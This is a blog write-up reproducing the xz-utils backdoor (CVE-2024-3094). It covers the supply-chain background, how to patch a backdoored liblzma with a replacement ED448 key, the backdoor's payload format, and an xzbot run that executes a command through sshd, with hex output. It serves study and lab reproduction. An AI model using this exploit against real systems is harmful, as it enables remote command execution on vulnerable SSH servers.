Cian

Cian

早岁已知世事艰, 仍许飞鸿荡云间。 一路寒风身如絮, 命海沉浮客独行。 千磨万击心铸铁, 殚精竭虑铸一剑。 今朝剑指叠云处, 炼蛊炼人还炼天!
github
bilibili

Reproduction of xz-utils backdoor vulnerability CVE-2024-3094

1. Event Background#

On March 29th, Microsoft PostgreSQL developer Andres Freund announced on oss-security that he had discovered a backdoor vulnerability in the open-source project xz-utils. The project was targeted by a supply chain attack, where the maintainer jiaT75 (jia Tan) uploaded binary test files and tampered with the compilation script, causing the malicious binary files to replace the original files during the compilation process, resulting in a mismatch between the compiled output and the publicly available source code.

This vulnerability allows attackers to interfere with sshd through the systemd service, thereby gaining remote system access. It primarily affects testing versions of Linux distributions, including Fedora, openSUSE, and Debian, among others. The CVE score is 10/10. Affected XZ Utils versions start from 5.6.0, and users are advised to immediately disable or downgrade to a secure version, such as 5.4.6.

2. Attack Process#

1) Setting up a honeypot#

See openssh.patch for details. This is a simple patch used to record any attempts to connect using public keys that match the backdoor format.

$ git clone https://github.com/amlweems/xzbot.git
$ git clone https://github.com/openssh/openssh-portable
$ patch xzbot/openssh.patch
$ autoreconf
$ ./configure
$ make

2) ED448 Patch#

The backdoor uses a hardcoded ED448 public key for signature verification and payload decryption. By replacing this key with our own key, generated with seed=0, we can trigger the backdoor.
Attacker's ED448 key:

0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00

Replace this key with our own key (generated with seed=0):

5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00

First, we need to download a libxzma shared object with the backdoor, for example from https://snapshot.debian.org/package/xz-utils/5.6.1-1. Then run the patch script. See the examples in the assets directory.

$ pip install pwntools
$ shasum -a 256 liblzma.so.5.6.1
605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4  liblzma.so.5.6.1
$ python3 patch.py liblzma.so.5.6.1
Patching func at offset: 0x24470
Generated patched so: liblzma.so.5.6.1.patch

Then run sshd with this modified liblzma.so.5.6.1.patch shared object.

3) Backdoor Format#

The backdoor can be triggered by connecting with an SSH certificate that has a payload signed by a CA signing key with a specific format. This payload must be encrypted and signed using the attacker's ED448 key. The structure has the following format:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| cmd1 (32 bit) | cmd2 (32 bit) |         cmd3 (64 bit)         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
+                     ciphertext (240 bytes)                    +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

The command byte is derived from the above three values as (cmd1 * cmd2 + cmd3). If this value is greater than 3, the backdoor will skip processing.
The ciphertext is encrypted using the chacha20 algorithm with the first 32 bytes of the ED448 public key as the symmetric key. Therefore, we can decrypt any attack attempt using the following key:

0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48

The format of the ciphertext is as follows:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     signature (114 bytes)     |  command \x00 |    padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

The signature is calculated based on the following values: the first 4 bytes of the header (i.e., cmd1), the first 5 bytes of the command, and the first 32 bytes of the sha256 hash of the server host key.

4) Attack Demonstration#

$ go install github.com/amlweems/xzbot@latest
$ xzbot -h
Usage of xzbot:
  -addr string
        ssh server address (default "127.0.0.1:2222")
  -seed string
        ed448 seed, must match xz backdoor key (default "0")
  -cmd string
        command to run via system() (default "id > /tmp/.xz")

The following command will connect to a vulnerable SSH server at 127.0.0.1:2222 and run the command id > /tmp/.xz:

$ xzbot -addr 127.0.0.1:2222 -cmd 'id > /tmp/.xz'
00000000  00 00 00 1c 73 73 68 2d  72 73 61 2d 63 65 72 74  |....ssh-rsa-cert|
00000010  2d 76 30 31 40 6f 70 65  6e 73 73 68 2e 63 6f 6d  |-v01@openssh.com|
00000020  00 00 00 00 00 00 00 03  01 00 01 00 00 01 01 01  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...
00000150  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000160  00 00 01 14 00 00 00 07  73 73 68 2d 72 73 61 00  |........ssh-rsa.|
00000170  00 00 01 01 00 00 01 00  02 00 00 00 01 00 00 00  |................|
00000180  00 00 00 00 00 00 00 00  54 97 bc c5 ef 93 e4 24  |........T......$|
00000190  cf b1 57 57 59 85 52 fd  41 2a a5 54 9e aa c6 52  |..WWY.R.A*.T...R|
000001a0  58 64 a4 17 45 8a af 76  ce d2 e3 0b 7c bb 1f 29  |Xd..E..v....|..)|
000001b0  2b f0 38 45 3f 5e 00 f1  b0 00 15 84 e7 bc 10 1f  |+.8E?^..........|
000001c0  0f 5f 50 36 07 9f bd 07  05 77 5c 74 84 69 c9 7a  |._P6.....w\t.i.z|
000001d0  28 6b e8 16 aa 99 34 bf  9d c4 c4 5c b8 fd 4a 3c  |(k....4....\..J<|
000001e0  d8 2b 39 32 06 d9 4f a4  3a 00 d0 0b 0f a2 21 c0  |.+92..O.:.....!.|
000001f0  86 c3 c9 e2 e6 17 b4 a6  54 ba c3 a1 4c 40 91 be  |........T...L@..|
00000200  91 9a 2b f8 0b 18 61 1c  5e e1 e0 5b e8 00 00 00  |..+...a.^..[....|
00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...
00000260  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000270  00 00
Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.